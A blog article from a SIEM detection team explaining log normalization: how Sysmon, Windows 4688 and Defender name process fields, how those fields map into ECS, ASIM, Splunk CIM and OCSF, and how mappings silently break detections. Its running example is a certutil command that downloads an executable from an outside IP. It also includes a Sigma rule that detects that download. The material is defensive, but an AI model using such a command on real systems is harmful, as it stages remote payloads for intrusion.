What Is Log Normalization in SIEMs?
HuntRule Team · · 8 min read

On this page
Sysmon calls it Image. Windows Security event 4688 calls it NewProcessName. Microsoft Defender for Endpoint splits the same thing into FolderPath and FileName. All three describe one executable starting on one host, and a detection rule written against any one of them matches nothing on the other two.
Normalization is the translation layer that fixes that. It is also where detections die without anyone getting an error message.
The same execution, three products
Here is the logical event we carry through this post, reconstructed in a lab on Windows 11:
certutil.exe -urlcache -split -f http://198.51.100.24/a.exe C:\Users\Public\a.exeThree sources see it. None of them agree on what to call anything.
Concept | Sysmon EID 1 | Security 4688 | Defender | ECS |
|---|---|---|---|---|
Executable path |
|
|
|
|
Command line |
|
|
|
|
Parent path |
|
|
|
|
Parent command line |
| not present |
|
|
PID |
|
|
|
|
User |
|
|
|
|
Image hash |
| not present |
|
|
Original file name |
| not present |
|
|
Host |
|
|
|
|
Note the row that is empty twice. 4688 carries no hash and no parent command line, so any rule that leans on either is blind against a pure Windows audit log estate no matter how good the mapping is.
The normalized form, in Elastic Common Schema:
{
"@timestamp": "2026-07-14T09:12:44.331Z",
"event.category": ["process"],
"event.type": ["start"],
"host.name": "WS-4471",
"host.domain": "corp.example.com",
"user.name": "jkirk",
"process.name": "certutil.exe",
"process.executable": "C:\\Windows\\System32\\certutil.exe",
"process.command_line": "certutil.exe -urlcache -split -f http://198.51.100.24/a.exe C:\\Users\\Public\\a.exe",
"process.args": ["certutil.exe", "-urlcache", "-split", "-f", "http://198.51.100.24/a.exe", "C:\\Users\\Public\\a.exe"],
"process.pid": 4812,
"process.pe.original_file_name": "CertUtil.exe",
"process.parent.name": "cmd.exe",
"process.hash.sha256": null
}Four steps, not one
Teams say "normalization" and mean all four of these at once. Keep them separate or you end up with a mapping nobody can debug.
Parsing turns bytes into fields. Sysmon arrives as EVTX XML with <Data Name="Image"> elements. Linux auditd arrives as key equals value text spread across several records that share one msg=audit(1752484364.331:8812) identifier, with the argv split across a0, a1, a2 in the EXECVE record and a hex-encoded copy in PROCTITLE. Defender arrives as typed columns and needs no parsing at all. Parsing failures produce absent fields, not wrong ones.
Field mapping moves a parsed field to a schema field. This is a lookup table and it is where most of the damage happens. The pySigma Splunk backend ships its CIM mapping in the open, which makes a good worked example:
splunk_sysmon_process_creation_cim_mapping = {
"CommandLine": "Processes.process",
"Computer": "Processes.dest",
"Image": "Processes.process_path",
"IntegrityLevel": "Processes.process_integrity_level",
"OriginalFileName": "Processes.original_file_name",
"ParentCommandLine": "Processes.parent_process",
"ParentImage": "Processes.parent_process_path",
"ProcessId": "Processes.process_id",
"User": "Processes.user",
}Read the first line again. In Splunk CIM, Processes.process holds the command line, not the process name. An analyst who assumes process means the executable writes Processes.process="certutil.exe" and gets zero results forever. There is also no entry for Sysmon's Hashes, so a Sigma rule keyed on hashes fails conversion outright, which is the good outcome. Silent failure is the bad one.
Value normalization rewrites the contents. Timestamps to UTC in one format, because Sysmon emits UtcTime while auditd emits epoch seconds and the 4688 XML carries SystemTime that Event Viewer renders in local time. Case, because C:\Windows\System32\certutil.exe and c:\windows\system32\CertUtil.exe are the same file to Windows and two different strings to Splunk's where and to KQL ==. Path form, because kernel-sourced telemetry often carries \Device\HarddiskVolume3\Windows\System32\certutil.exe and a rule written against C:\ will not touch it. Host identity, because 4688's Computer is WIN-GG82ULGC9GO.contoso.local while an agent may report WIN-GG82ULGC9GO. ECS splits that into host.name, host.hostname and host.domain. ASIM splits it further into DvcHostname, DvcFQDN, DvcDomain and DvcDomainType. Pick one convention per pipeline and write it down.
Enrichment adds facts that were never in the event: GeoIP on destination.ip, asset criticality on host.name, threat intel on process.hash.sha256, SID resolved to a username. Enrichment is time dependent. The asset table you joined at 09:00 is not the asset table at 17:00, and a rule whose core condition reads an enrichment field fails open the day the lookup is empty.

Four ways a normalized detection dies
The unparsed field that becomes null. Your rule reads process.command_line|contains: '-urlcache'. The parser missed the field, so it is null, so the condition is false, so nothing fires and nothing errors. This is not hypothetical for 4688: the CommandLine field is empty unless command line auditing is enabled, which is HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled set to 1. Microsoft's own sample 4688 XML shows <Data Name="CommandLine" /> with nothing in it. Track a per-field null rate per source and alert when it moves.
The vendor format change mid-shift. An agent updates, a field is renamed or a new one is inserted, and a regex that anchors on a prefix keeps matching while quietly truncating. Nobody notices because the rule count goes down, not up, and down looks like a quiet week.
The lossy mapping. Defender's schema documentation states that SHA256 on DeviceProcessEvents is usually not populated and recommends SHA1 instead. A portable rule keyed on process.hash.sha256 is therefore correct, well mapped, and useless against that source.
The field with nowhere to go. Linux auditd's auid survives su and sudo, which makes it the single most useful identity field on a Linux box. OCSF carries auid on its process object. ECS core has no equivalent, so a mapping into ECS parks it in a custom namespace or drops it, and every rule that would have used it has to be rewritten around user.name.
The four schemas, honestly
ECS is Elastic's, dotted lowercase, real arrays (process.args), and sharing common ground with the OpenTelemetry semantic conventions it was donated to, with that alignment still in progress. It has the widest third party adoption outside its own vendor.
ASIM is Microsoft Sentinel's, and it normalizes at query time. imProcessCreate is a KQL function over the raw tables, so the original fields stay put and a mapping fix is a function edit rather than a reindex. That is a genuine operational advantage and a genuine query cost.
Splunk CIM is data models over accelerated indexes, with flat unnamespaced fields (process, dest, user) and tstats for speed. The flat names are compact and, as shown above, ambiguous.
OCSF is the vendor-neutral one. Process Activity is class_uid 1007, activity_id 1 is Launch, and the shape is nested objects (actor.process, process.file.path, process.cmd_line) with integer enums that each carry a string sibling.
Migration between them is not a rename table. ECS process.args is an array and CIM Processes.process is one string, so going one way you join and going the other way you tokenize, and tokenizing a Windows command line correctly is its own project. OCSF integer enums have to be derived, not copied. Rewriting the rules is the smaller half of the cost. Re-testing every one of them against real events is the larger half, and skipping it is how a migration ships with a third of the detection estate silently returning zero.
What the rule catches, and what it needs
title: Certutil download via urlcache
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\certutil.exe'
- OriginalFileName: 'CertUtil.exe'
selection_cli:
CommandLine|contains:
- 'urlcache'
- 'verifyctl'
condition: all of selection_*
falsepositives:
- PKI and certificate deployment scripts
- Cleanup scripts running certutil -urlcache * delete
level: mediumIt catches the -urlcache and -verifyctl download paths (T1105) and survives a renamed binary through OriginalFileName (T1036.003). It misses certutil -decode against a file already staged on disk (T1140), and it misses everything on any source where CommandLine is null.
For that rule to work anywhere, the mapping has to land these:
ECS process.executable process.command_line process.pe.original_file_name
ASIM TargetProcessName TargetProcessCommandLine TargetProcessFileOriginalName
CIM Processes.process_path Processes.process Processes.original_file_name
OCSF process.file.path process.cmd_line process.file.nameDo not assume any of those are populated. Run the command in a lab, pull the raw record and the normalized record side by side, and assert that every field the rule reads is non-null and holds what you expect. Then run the rule. Then keep that raw and normalized pair as a fixture and replay it after every parser change. A rule is portable only as far as the mapping under it is faithful, and the only way to know the mapping is faithful is a test event.
Summary
Normalization is four distinct steps: parse, map, normalize values, enrich. Conflating them produces mappings that cannot be debugged when a rule stops firing. The failure mode that matters is silent, because an unparsed or unmapped field becomes null and a null field makes a condition false without raising anything. ECS, ASIM, CIM and OCSF all work, they disagree on field names, nesting and enum encoding, and moving between them costs more in re-testing than in rewriting. Validate every mapping with a generated test event before you trust a rule against a new source.
Fields to confirm are populated before trusting any process creation rule:
executable path
command line
original file name
parent executable path
parent command line
user name
image hash (sha256, and sha1 as fallback)
host name and host domain
event timestamp in UTCThe catalog's Windows process creation rules are at /rules?domain=windows, and the certutil coverage specifically at /rules?q=certutil. If you want the portability side of this in more depth, what Sigma rules are covers the rule format that these mappings feed.
Related articles

What Is Event Correlation in SIEM?
Windows Security event 4625 on its own is a typo. Thirty of them against thirty different account names from one source address in fifteen minutes, followed by a 4624 from that same address, is a…
2026-04-0610 min read

What Is SOAR?
POST /devices/entities/devices-actions/v2?action_name=contain takes a CrowdStrike host off the network. action_name=lift_containment puts it back. Both are one HTTP call against the same endpoint,…
2025-08-1810 min read

What Is UEBA?
Microsoft Sentinel's BehaviorAnalytics table stores an integer called InvestigationPriority, scored 0 to 10, where 0 is benign and 10 is highly anomalous. That integer is the whole promise and the…
2025-08-069 min read